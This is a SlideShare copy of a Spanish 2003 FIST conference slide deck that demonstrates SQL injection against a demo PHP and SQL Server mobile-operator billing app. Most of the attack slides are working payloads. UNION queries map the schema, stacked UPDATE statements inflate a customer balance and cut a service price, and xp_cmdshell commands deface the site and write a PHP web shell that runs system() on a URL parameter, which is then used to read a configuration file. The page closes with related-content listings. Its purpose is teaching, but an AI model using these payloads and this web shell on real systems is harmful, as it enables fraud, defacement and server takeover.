SlideShare una empresa de Scribd logo
1 de 25
Descargar para leer sin conexión
FIST Conference October 2003 @




SQL Injection
   © Rafael San Miguel Carrasco
SQL Injection

                  Escenario:

                    Windows 2000 Professional

                    Apache Win32 1.3.28

                    PHP 4.3.3

                    SQL Server 2000

                    Documentos HTML y scripts PHP




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   2
SQL Injection

                  Operadora de móviles, servicios online:


                    consulta de saldo

                    contratación de teleservicios



                  A través de un identificador secreto asignado a
                  cada cliente, que se utiliza para consultar
                  información y como medio de pago.




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   3
SQL Injection
                   Estructura tabla “clientes”:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   4
SQL Injection

                    Estructura tabla “servicios”:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   5
SQL Injection

                  Página principal:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   6
SQL Injection
                   Consulta de saldo legítima:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   7
SQL Injection

                  Contratación de un servicio:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   8
SQL Injection

                  consultasaldo.php:

                  $query = "SELECT nombre, apellidos, saldo FROM clientes
                  WHERE id='$idcliente';";
                  $result = mssql_query ($query);
                  $nfilas = mssql_num_rows ($result);

                  while ($row = mssql_fetch_array ($result) ) {
                       echo "Nombre del cliente: <b>" . $row[0] . " " . $row[1] . "</b><br>";
                       echo "Saldo actual: <b>" . $row[2] . "</b>";
                  }




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                  9
SQL Injection

                  contratar.php:
                 $query = "SELECT * FROM servicios WHERE id='$idservicio';";
                 $result = mssql_query ($query);
                 $row = mssql_fetch_array ($result);
                 $precio = $row [3];

                 echo "El precio del servicio que desea contratar es de <b>$precio</b>
                 euros<br>";
                 $saldo_final = $saldo_actual - $precio;

                 $query = "UPDATE clientes SET saldo=$saldo_final WHERE id='$idcliente';";
                 mssql_query ($query);
                 $query = "UPDATE clientes SET servicio" . $idservicio. "=1 WHERE id=
                 '$idcliente';";
                 mssql_query ($query);

© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                  10
SQL Injection

                  Mapear la base de datos:


                    tablas que componen la base de datos

                    listado y tipo de las columnas de cada tabla




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com     11
SQL Injection
                          5' AND 1=0 union select TABLE_NAME from
                          INFORMATION_SCHEMA.TABLES—



                       Warning: mssql_query(): message: Todas las consultas
                       de una instruccion SQL que contenga un operador
                       UNION deben tener el mismo numero de expresiones
                       en sus listas de destino. (severity 16) in
                       c:apachehtdocsconsultasaldo.php on line 21


                            5‘ AND 1=0 union select TABLE_NAME," ",1 from

                            INFORMATION_SCHEMA.TABLES--


© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                   12
SQL Injection




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   13
SQL Injection

                  5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,1 from
                  INFORMATION_SCHEMA.COLUMNS




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       14
SQL Injection

                  5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,type from
                  syscolumns, INFORMATION_SCHEMA.COLUMNS—




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       15
SQL Injection

                  5‘ AND 1=0; update clientes set saldo=500000 where id=5555--




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com              16
SQL Injection




                    5556'; update servicios set precio=1 where nombre_servicio=
                    "llamada en espera"—


© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com              17
SQL Injection
                 Warning: mssql_query(): message: Linea 1: sintaxis incorrecta cerca de '—'.
                 (severity 15) in c:apachehtdocscontratar.php on line 22

                 Warning: mssql_query(): message: Comilla no cerrada antes de la cadena de
                 caracteres ';'. (severity 15) in c:apachehtdocscontratar.php on line 22




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                     18
SQL Injection

                  5‘ AND 1=0; exec master..xp_cmdshell 'echo "<html> <body><img
                  src=http://www.geocities.com/clan_de_vampiros/Caminante.gif> <br>hacked
                  </body></html>" > c:apachehtdocsdeface.htm'—


                  5556’; exec master..xp_cmdshell ‘copy c:apachehtdocsdeface.htm
                  c:apachehtdocsprincipal.htm’—




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com             19
SQL Injection




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   20
SQL Injection

                       shell.php:

                              <html>
                              <body><?php
                              $comando = $_GET["comando"];
                              echo "$comando<br>";
                              $resultado = system ($comando);
                              echo $resultado;
                              ?>
                              </body>
                              </html>

                        O también: passthru ()

© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       21
SQL Injection

                  5556'; exec master..xp_cmdshell 'echo "<html><body>
                  <?php $comando=$_GET["comando"];echo $comando;
                  $resultado = system ($comando);echo $resultado;?>
                  </body></html>" > c:apachehtdocsshell.php'--




                    http://127.0.0.1/shell.php?comando=dir..




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com      22
SQL Injection
                     http://127.0.0.1/shell.php?comando=type c:odbc.conf




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com         23
SQL Injection

                 En php.ini:


                              ; Magic quotes for incoming
                              ; GET/POST/Cookie data.
                              magic_quotes_gpc = On / Off


                  Sin embargo, con campos numéricos esta
                  protección es inútil



© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   24
SQL Injection
FIST Conference October 2003
© Rafael San Miguel Carrasco
Madrid, 25 October 2003

Más contenido relacionado

Destacado

Evaluation of DDoS attacks generated on mobile devices and their effect on th...
Evaluation of DDoS attacks generated on mobile devices and their effect on th...Evaluation of DDoS attacks generated on mobile devices and their effect on th...
Evaluation of DDoS attacks generated on mobile devices and their effect on th...Andres Almeida
 
Sql injection
Sql injectionSql injection
Sql injectionMinoxx
 
Rsa
RsaRsa
Rsayaya
 
Seguridad sql injection
Seguridad   sql injectionSeguridad   sql injection
Seguridad sql injectionGary Briceño
 
Viii congreso isaca 2015 grc
Viii congreso isaca 2015 grcViii congreso isaca 2015 grc
Viii congreso isaca 2015 grcbalejandre
 
Comparacion entre my sql y sql server
Comparacion entre my sql y sql serverComparacion entre my sql y sql server
Comparacion entre my sql y sql serverJorge Luis Tinoco
 
CIFRADO RSA
CIFRADO RSACIFRADO RSA
CIFRADO RSArul05
 
Las 5 fuerzas de michael porter
Las 5 fuerzas de michael porterLas 5 fuerzas de michael porter
Las 5 fuerzas de michael porterMack Vázquez
 
How to Take the Ransom Out of Ransomware
How to Take the Ransom Out of RansomwareHow to Take the Ransom Out of Ransomware
How to Take the Ransom Out of Ransomwaremarketingunitrends
 
Achieving high-fidelity security
Achieving high-fidelity securityAchieving high-fidelity security
Achieving high-fidelity securitybalejandre
 
Sql server 2008
Sql server 2008Sql server 2008
Sql server 2008brobelo
 
Diapositivas las 5 fuerzas de porter.
Diapositivas las 5 fuerzas de porter.Diapositivas las 5 fuerzas de porter.
Diapositivas las 5 fuerzas de porter.Espoch
 
Modelo de las 5 fuerzas de porter
Modelo de las 5 fuerzas de porterModelo de las 5 fuerzas de porter
Modelo de las 5 fuerzas de portermarielberenice
 

Destacado (20)

Evaluation of DDoS attacks generated on mobile devices and their effect on th...
Evaluation of DDoS attacks generated on mobile devices and their effect on th...Evaluation of DDoS attacks generated on mobile devices and their effect on th...
Evaluation of DDoS attacks generated on mobile devices and their effect on th...
 
Sql injection
Sql injectionSql injection
Sql injection
 
Rsa
RsaRsa
Rsa
 
114986362 ddos
114986362 ddos114986362 ddos
114986362 ddos
 
RSA
RSARSA
RSA
 
Seguridad sql injection
Seguridad   sql injectionSeguridad   sql injection
Seguridad sql injection
 
Sql Injection
Sql InjectionSql Injection
Sql Injection
 
Viii congreso isaca 2015 grc
Viii congreso isaca 2015 grcViii congreso isaca 2015 grc
Viii congreso isaca 2015 grc
 
Comparacion entre my sql y sql server
Comparacion entre my sql y sql serverComparacion entre my sql y sql server
Comparacion entre my sql y sql server
 
Ransomware
RansomwareRansomware
Ransomware
 
CIFRADO RSA
CIFRADO RSACIFRADO RSA
CIFRADO RSA
 
Las 5 fuerzas de michael porter
Las 5 fuerzas de michael porterLas 5 fuerzas de michael porter
Las 5 fuerzas de michael porter
 
How to Take the Ransom Out of Ransomware
How to Take the Ransom Out of RansomwareHow to Take the Ransom Out of Ransomware
How to Take the Ransom Out of Ransomware
 
Achieving high-fidelity security
Achieving high-fidelity securityAchieving high-fidelity security
Achieving high-fidelity security
 
Sql server 2008
Sql server 2008Sql server 2008
Sql server 2008
 
Ransomware
RansomwareRansomware
Ransomware
 
5 fuerzas de Porter
5 fuerzas de Porter5 fuerzas de Porter
5 fuerzas de Porter
 
5 fuerzas de porter
5 fuerzas de porter5 fuerzas de porter
5 fuerzas de porter
 
Diapositivas las 5 fuerzas de porter.
Diapositivas las 5 fuerzas de porter.Diapositivas las 5 fuerzas de porter.
Diapositivas las 5 fuerzas de porter.
 
Modelo de las 5 fuerzas de porter
Modelo de las 5 fuerzas de porterModelo de las 5 fuerzas de porter
Modelo de las 5 fuerzas de porter
 

Similar a Exploiting Web applications SQL Injection

Examen ISC
Examen ISCExamen ISC
Examen ISCivan mtz
 
Aplicaciones para sistemas distribuidos slide
Aplicaciones para sistemas distribuidos slideAplicaciones para sistemas distribuidos slide
Aplicaciones para sistemas distribuidos slidemarieuri
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridadguestbfa74a
 
STRUTS (MVC e Java)
STRUTS (MVC e Java)STRUTS (MVC e Java)
STRUTS (MVC e Java)ousli07
 
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxFrancisco Medina
 
Taller Manejo De Tablas Sql01
Taller Manejo De Tablas Sql01Taller Manejo De Tablas Sql01
Taller Manejo De Tablas Sql01Edgar Sandoval
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4cognos_uie
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0José Moreno
 
Replicacion de base de datos
Replicacion de base de datosReplicacion de base de datos
Replicacion de base de datostickyandres
 
Exploiting Web Applications XSS
Exploiting Web Applications XSSExploiting Web Applications XSS
Exploiting Web Applications XSSConferencias FIST
 
Mysql Seguridad Replicacion
Mysql Seguridad ReplicacionMysql Seguridad Replicacion
Mysql Seguridad Replicacionchristian nieto
 
Curso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpCurso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpEdgar Solis
 
bdlink vistas materializadas
bdlink vistas materializadasbdlink vistas materializadas
bdlink vistas materializadasJuan Calvache
 
Pl 08-aplicacion-en-php-my sql
Pl 08-aplicacion-en-php-my sqlPl 08-aplicacion-en-php-my sql
Pl 08-aplicacion-en-php-my sqlNoé Arpasi
 
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Jesús Daniel Mayo
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todoscsaralg
 

Similar a Exploiting Web applications SQL Injection (20)

Examen ISC
Examen ISCExamen ISC
Examen ISC
 
Aplicaciones para sistemas distribuidos slide
Aplicaciones para sistemas distribuidos slideAplicaciones para sistemas distribuidos slide
Aplicaciones para sistemas distribuidos slide
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
 
STRUTS (MVC e Java)
STRUTS (MVC e Java)STRUTS (MVC e Java)
STRUTS (MVC e Java)
 
Seguridad En Programación
Seguridad En ProgramaciónSeguridad En Programación
Seguridad En Programación
 
Sql injection
Sql injectionSql injection
Sql injection
 
PHP Y MYSQL
PHP Y MYSQLPHP Y MYSQL
PHP Y MYSQL
 
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
 
Taller Manejo De Tablas Sql01
Taller Manejo De Tablas Sql01Taller Manejo De Tablas Sql01
Taller Manejo De Tablas Sql01
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0
 
Replicacion de base de datos
Replicacion de base de datosReplicacion de base de datos
Replicacion de base de datos
 
Exploiting Web Applications XSS
Exploiting Web Applications XSSExploiting Web Applications XSS
Exploiting Web Applications XSS
 
Mysql Seguridad Replicacion
Mysql Seguridad ReplicacionMysql Seguridad Replicacion
Mysql Seguridad Replicacion
 
Practica 8
Practica 8Practica 8
Practica 8
 
Curso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpCurso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmp
 
bdlink vistas materializadas
bdlink vistas materializadasbdlink vistas materializadas
bdlink vistas materializadas
 
Pl 08-aplicacion-en-php-my sql
Pl 08-aplicacion-en-php-my sqlPl 08-aplicacion-en-php-my sql
Pl 08-aplicacion-en-php-my sql
 
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todos
 

Más de Conferencias FIST

Seguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceSeguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceConferencias FIST
 
Las Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseLas Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseConferencias FIST
 
Evolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiEvolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiConferencias FIST
 
El Information Security Forum
El Information Security ForumEl Information Security Forum
El Information Security ForumConferencias FIST
 
Inseguridad en Redes Wireless
Inseguridad en Redes WirelessInseguridad en Redes Wireless
Inseguridad en Redes WirelessConferencias FIST
 
Mas allá de la Concienciación
Mas allá de la ConcienciaciónMas allá de la Concienciación
Mas allá de la ConcienciaciónConferencias FIST
 
Riesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloRiesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloConferencias FIST
 
Demostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseDemostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseConferencias FIST
 

Más de Conferencias FIST (20)

Seguridad en Open Solaris
Seguridad en Open SolarisSeguridad en Open Solaris
Seguridad en Open Solaris
 
Seguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceSeguridad en Entornos Web Open Source
Seguridad en Entornos Web Open Source
 
Spanish Honeynet Project
Spanish Honeynet ProjectSpanish Honeynet Project
Spanish Honeynet Project
 
Seguridad en Windows Mobile
Seguridad en Windows MobileSeguridad en Windows Mobile
Seguridad en Windows Mobile
 
SAP Security
SAP SecuritySAP Security
SAP Security
 
Que es Seguridad
Que es SeguridadQue es Seguridad
Que es Seguridad
 
Network Access Protection
Network Access ProtectionNetwork Access Protection
Network Access Protection
 
Las Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseLas Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática Forense
 
Evolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiEvolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFi
 
El Information Security Forum
El Information Security ForumEl Information Security Forum
El Information Security Forum
 
Criptografia Cuántica
Criptografia CuánticaCriptografia Cuántica
Criptografia Cuántica
 
Inseguridad en Redes Wireless
Inseguridad en Redes WirelessInseguridad en Redes Wireless
Inseguridad en Redes Wireless
 
Mas allá de la Concienciación
Mas allá de la ConcienciaciónMas allá de la Concienciación
Mas allá de la Concienciación
 
Security Metrics
Security MetricsSecurity Metrics
Security Metrics
 
PKI Interoperability
PKI InteroperabilityPKI Interoperability
PKI Interoperability
 
Wifislax 3.1
Wifislax 3.1Wifislax 3.1
Wifislax 3.1
 
Network Forensics
Network ForensicsNetwork Forensics
Network Forensics
 
Riesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloRiesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el Desarrollo
 
Demostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseDemostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis Forense
 
Security Maturity Model
Security Maturity ModelSecurity Maturity Model
Security Maturity Model
 

Último

La tablet trabajo en grupo del grado 9-2
La tablet trabajo en grupo del grado 9-2La tablet trabajo en grupo del grado 9-2
La tablet trabajo en grupo del grado 9-2montoyagabriela340
 
Presentación - Diseño de Algoritmos Paralelos - Grupo 2.pdf
Presentación - Diseño de Algoritmos Paralelos - Grupo 2.pdfPresentación - Diseño de Algoritmos Paralelos - Grupo 2.pdf
Presentación - Diseño de Algoritmos Paralelos - Grupo 2.pdfymiranda2
 
DESARROLLO BLOG Y ANÁLISIS DE ARTEFACTOS
DESARROLLO BLOG Y ANÁLISIS DE ARTEFACTOSDESARROLLO BLOG Y ANÁLISIS DE ARTEFACTOS
DESARROLLO BLOG Y ANÁLISIS DE ARTEFACTOSreinamanuela20
 
taller de la electricidad y electrónica
taller de  la electricidad y electrónicataller de  la electricidad y electrónica
taller de la electricidad y electrónicaErickAlegria3
 
Inteligencia artificial dentro de la contabilidad
Inteligencia artificial dentro de la contabilidadInteligencia artificial dentro de la contabilidad
Inteligencia artificial dentro de la contabilidaddanik1023m
 
PRESENTACION DEL TEMA LOS MEJORES SIMULADORES DE CIRCUITOS ELCTRONICOS
PRESENTACION DEL TEMA LOS MEJORES SIMULADORES DE CIRCUITOS ELCTRONICOSPRESENTACION DEL TEMA LOS MEJORES SIMULADORES DE CIRCUITOS ELCTRONICOS
PRESENTACION DEL TEMA LOS MEJORES SIMULADORES DE CIRCUITOS ELCTRONICOSLincangoKevin
 
DESARROLLO DE BLOG DE ANÁLISIS Y ARTEFACTOS TECNOLOGICOS
DESARROLLO DE BLOG DE ANÁLISIS Y ARTEFACTOS TECNOLOGICOSDESARROLLO DE BLOG DE ANÁLISIS Y ARTEFACTOS TECNOLOGICOS
DESARROLLO DE BLOG DE ANÁLISIS Y ARTEFACTOS TECNOLOGICOSreinamanuela20
 
Actividad 1-PRESENTACIÓN ANIMADA.pptxPreservación y conservación de los docum...
Actividad 1-PRESENTACIÓN ANIMADA.pptxPreservación y conservación de los docum...Actividad 1-PRESENTACIÓN ANIMADA.pptxPreservación y conservación de los docum...
Actividad 1-PRESENTACIÓN ANIMADA.pptxPreservación y conservación de los docum...OLGAMILENAMONTAEZNIO
 
TENDENCIAS DE IA Explorando el futuro de la tecnologia.pdf
TENDENCIAS DE IA Explorando el futuro de la tecnologia.pdfTENDENCIAS DE IA Explorando el futuro de la tecnologia.pdf
TENDENCIAS DE IA Explorando el futuro de la tecnologia.pdfJoseAlejandroPerezBa
 
¡Cookiegeddon! Bye a las cookies de terceros y cómo afectará a tu software
¡Cookiegeddon! Bye a las cookies de terceros y cómo afectará a tu software¡Cookiegeddon! Bye a las cookies de terceros y cómo afectará a tu software
¡Cookiegeddon! Bye a las cookies de terceros y cómo afectará a tu softwareFrancisco Javier Barrena
 
Actividad 14_ Diseño de Algoritmos Paralelos.pdf
Actividad 14_ Diseño de Algoritmos Paralelos.pdfActividad 14_ Diseño de Algoritmos Paralelos.pdf
Actividad 14_ Diseño de Algoritmos Paralelos.pdfalejandrogomezescoto
 
Taller de tecnología conclucion tonotoss
Taller de tecnología conclucion tonotossTaller de tecnología conclucion tonotoss
Taller de tecnología conclucion tonotossgijhonpa
 
La Electricidad y La Electrónica por el grado 10-5
La Electricidad y La Electrónica por el grado 10-5La Electricidad y La Electrónica por el grado 10-5
La Electricidad y La Electrónica por el grado 10-5CamilaCordoba30
 
Tecnológia 2024.docx.Tecnológia 2024.docx.
Tecnológia 2024.docx.Tecnológia 2024.docx.Tecnológia 2024.docx.Tecnológia 2024.docx.
Tecnológia 2024.docx.Tecnológia 2024.docx.marianarodriguezc797
 
Matriz de integración de tecnologías- Paola Carvajal.docx
Matriz de integración de tecnologías- Paola Carvajal.docxMatriz de integración de tecnologías- Paola Carvajal.docx
Matriz de integración de tecnologías- Paola Carvajal.docxPaolaCarolinaCarvaja
 
Actividad 14: Diseño de Algoritmos Paralelos Actividad 14: Diseño de Algoritm...
Actividad 14: Diseño de Algoritmos Paralelos Actividad 14: Diseño de Algoritm...Actividad 14: Diseño de Algoritmos Paralelos Actividad 14: Diseño de Algoritm...
Actividad 14: Diseño de Algoritmos Paralelos Actividad 14: Diseño de Algoritm...RaymondCode
 
PPT de introducción a la unidad 1 de 5 Basico.pptx
PPT de introducción a la unidad 1 de 5 Basico.pptxPPT de introducción a la unidad 1 de 5 Basico.pptx
PPT de introducción a la unidad 1 de 5 Basico.pptxProfeVivianaRS
 
El diseño de Algoritmos Paralelos.pdf - analisis de algortimos
El diseño de Algoritmos Paralelos.pdf - analisis de algortimosEl diseño de Algoritmos Paralelos.pdf - analisis de algortimos
El diseño de Algoritmos Paralelos.pdf - analisis de algortimosLCristinaForchue
 

Último (20)

La tablet trabajo en grupo del grado 9-2
La tablet trabajo en grupo del grado 9-2La tablet trabajo en grupo del grado 9-2
La tablet trabajo en grupo del grado 9-2
 
Presentación - Diseño de Algoritmos Paralelos - Grupo 2.pdf
Presentación - Diseño de Algoritmos Paralelos - Grupo 2.pdfPresentación - Diseño de Algoritmos Paralelos - Grupo 2.pdf
Presentación - Diseño de Algoritmos Paralelos - Grupo 2.pdf
 
DESARROLLO BLOG Y ANÁLISIS DE ARTEFACTOS
DESARROLLO BLOG Y ANÁLISIS DE ARTEFACTOSDESARROLLO BLOG Y ANÁLISIS DE ARTEFACTOS
DESARROLLO BLOG Y ANÁLISIS DE ARTEFACTOS
 
taller de la electricidad y electrónica
taller de  la electricidad y electrónicataller de  la electricidad y electrónica
taller de la electricidad y electrónica
 
Inteligencia artificial dentro de la contabilidad
Inteligencia artificial dentro de la contabilidadInteligencia artificial dentro de la contabilidad
Inteligencia artificial dentro de la contabilidad
 
PRESENTACION DEL TEMA LOS MEJORES SIMULADORES DE CIRCUITOS ELCTRONICOS
PRESENTACION DEL TEMA LOS MEJORES SIMULADORES DE CIRCUITOS ELCTRONICOSPRESENTACION DEL TEMA LOS MEJORES SIMULADORES DE CIRCUITOS ELCTRONICOS
PRESENTACION DEL TEMA LOS MEJORES SIMULADORES DE CIRCUITOS ELCTRONICOS
 
DESARROLLO DE BLOG DE ANÁLISIS Y ARTEFACTOS TECNOLOGICOS
DESARROLLO DE BLOG DE ANÁLISIS Y ARTEFACTOS TECNOLOGICOSDESARROLLO DE BLOG DE ANÁLISIS Y ARTEFACTOS TECNOLOGICOS
DESARROLLO DE BLOG DE ANÁLISIS Y ARTEFACTOS TECNOLOGICOS
 
Actividad 1-PRESENTACIÓN ANIMADA.pptxPreservación y conservación de los docum...
Actividad 1-PRESENTACIÓN ANIMADA.pptxPreservación y conservación de los docum...Actividad 1-PRESENTACIÓN ANIMADA.pptxPreservación y conservación de los docum...
Actividad 1-PRESENTACIÓN ANIMADA.pptxPreservación y conservación de los docum...
 
TENDENCIAS DE IA Explorando el futuro de la tecnologia.pdf
TENDENCIAS DE IA Explorando el futuro de la tecnologia.pdfTENDENCIAS DE IA Explorando el futuro de la tecnologia.pdf
TENDENCIAS DE IA Explorando el futuro de la tecnologia.pdf
 
¡Cookiegeddon! Bye a las cookies de terceros y cómo afectará a tu software
¡Cookiegeddon! Bye a las cookies de terceros y cómo afectará a tu software¡Cookiegeddon! Bye a las cookies de terceros y cómo afectará a tu software
¡Cookiegeddon! Bye a las cookies de terceros y cómo afectará a tu software
 
Actividad 14_ Diseño de Algoritmos Paralelos.pdf
Actividad 14_ Diseño de Algoritmos Paralelos.pdfActividad 14_ Diseño de Algoritmos Paralelos.pdf
Actividad 14_ Diseño de Algoritmos Paralelos.pdf
 
Taller de tecnología conclucion tonotoss
Taller de tecnología conclucion tonotossTaller de tecnología conclucion tonotoss
Taller de tecnología conclucion tonotoss
 
La Electricidad y La Electrónica por el grado 10-5
La Electricidad y La Electrónica por el grado 10-5La Electricidad y La Electrónica por el grado 10-5
La Electricidad y La Electrónica por el grado 10-5
 
Tecnológia 2024.docx.Tecnológia 2024.docx.
Tecnológia 2024.docx.Tecnológia 2024.docx.Tecnológia 2024.docx.Tecnológia 2024.docx.
Tecnológia 2024.docx.Tecnológia 2024.docx.
 
Matriz de integración de tecnologías- Paola Carvajal.docx
Matriz de integración de tecnologías- Paola Carvajal.docxMatriz de integración de tecnologías- Paola Carvajal.docx
Matriz de integración de tecnologías- Paola Carvajal.docx
 
BEDEC Proyecto y obra , novedades 2024 - Xavier Folch
BEDEC Proyecto y obra , novedades 2024 - Xavier FolchBEDEC Proyecto y obra , novedades 2024 - Xavier Folch
BEDEC Proyecto y obra , novedades 2024 - Xavier Folch
 
Actividad 14: Diseño de Algoritmos Paralelos Actividad 14: Diseño de Algoritm...
Actividad 14: Diseño de Algoritmos Paralelos Actividad 14: Diseño de Algoritm...Actividad 14: Diseño de Algoritmos Paralelos Actividad 14: Diseño de Algoritm...
Actividad 14: Diseño de Algoritmos Paralelos Actividad 14: Diseño de Algoritm...
 
BEDEC Sostenibilidad, novedades 2024 - Laura Silva
BEDEC Sostenibilidad, novedades 2024 - Laura SilvaBEDEC Sostenibilidad, novedades 2024 - Laura Silva
BEDEC Sostenibilidad, novedades 2024 - Laura Silva
 
PPT de introducción a la unidad 1 de 5 Basico.pptx
PPT de introducción a la unidad 1 de 5 Basico.pptxPPT de introducción a la unidad 1 de 5 Basico.pptx
PPT de introducción a la unidad 1 de 5 Basico.pptx
 
El diseño de Algoritmos Paralelos.pdf - analisis de algortimos
El diseño de Algoritmos Paralelos.pdf - analisis de algortimosEl diseño de Algoritmos Paralelos.pdf - analisis de algortimos
El diseño de Algoritmos Paralelos.pdf - analisis de algortimos
 

Exploiting Web applications SQL Injection

  • 1. FIST Conference October 2003 @ SQL Injection © Rafael San Miguel Carrasco
  • 2. SQL Injection Escenario:  Windows 2000 Professional  Apache Win32 1.3.28  PHP 4.3.3  SQL Server 2000  Documentos HTML y scripts PHP © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 2
  • 3. SQL Injection Operadora de móviles, servicios online:  consulta de saldo  contratación de teleservicios A través de un identificador secreto asignado a cada cliente, que se utiliza para consultar información y como medio de pago. © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 3
  • 4. SQL Injection Estructura tabla “clientes”: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 4
  • 5. SQL Injection Estructura tabla “servicios”: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 5
  • 6. SQL Injection Página principal: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 6
  • 7. SQL Injection Consulta de saldo legítima: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 7
  • 8. SQL Injection Contratación de un servicio: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 8
  • 9. SQL Injection consultasaldo.php: $query = "SELECT nombre, apellidos, saldo FROM clientes WHERE id='$idcliente';"; $result = mssql_query ($query); $nfilas = mssql_num_rows ($result); while ($row = mssql_fetch_array ($result) ) { echo "Nombre del cliente: <b>" . $row[0] . " " . $row[1] . "</b><br>"; echo "Saldo actual: <b>" . $row[2] . "</b>"; } © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 9
  • 10. SQL Injection contratar.php: $query = "SELECT * FROM servicios WHERE id='$idservicio';"; $result = mssql_query ($query); $row = mssql_fetch_array ($result); $precio = $row [3]; echo "El precio del servicio que desea contratar es de <b>$precio</b> euros<br>"; $saldo_final = $saldo_actual - $precio; $query = "UPDATE clientes SET saldo=$saldo_final WHERE id='$idcliente';"; mssql_query ($query); $query = "UPDATE clientes SET servicio" . $idservicio. "=1 WHERE id= '$idcliente';"; mssql_query ($query); © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 10
  • 11. SQL Injection Mapear la base de datos:  tablas que componen la base de datos  listado y tipo de las columnas de cada tabla © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 11
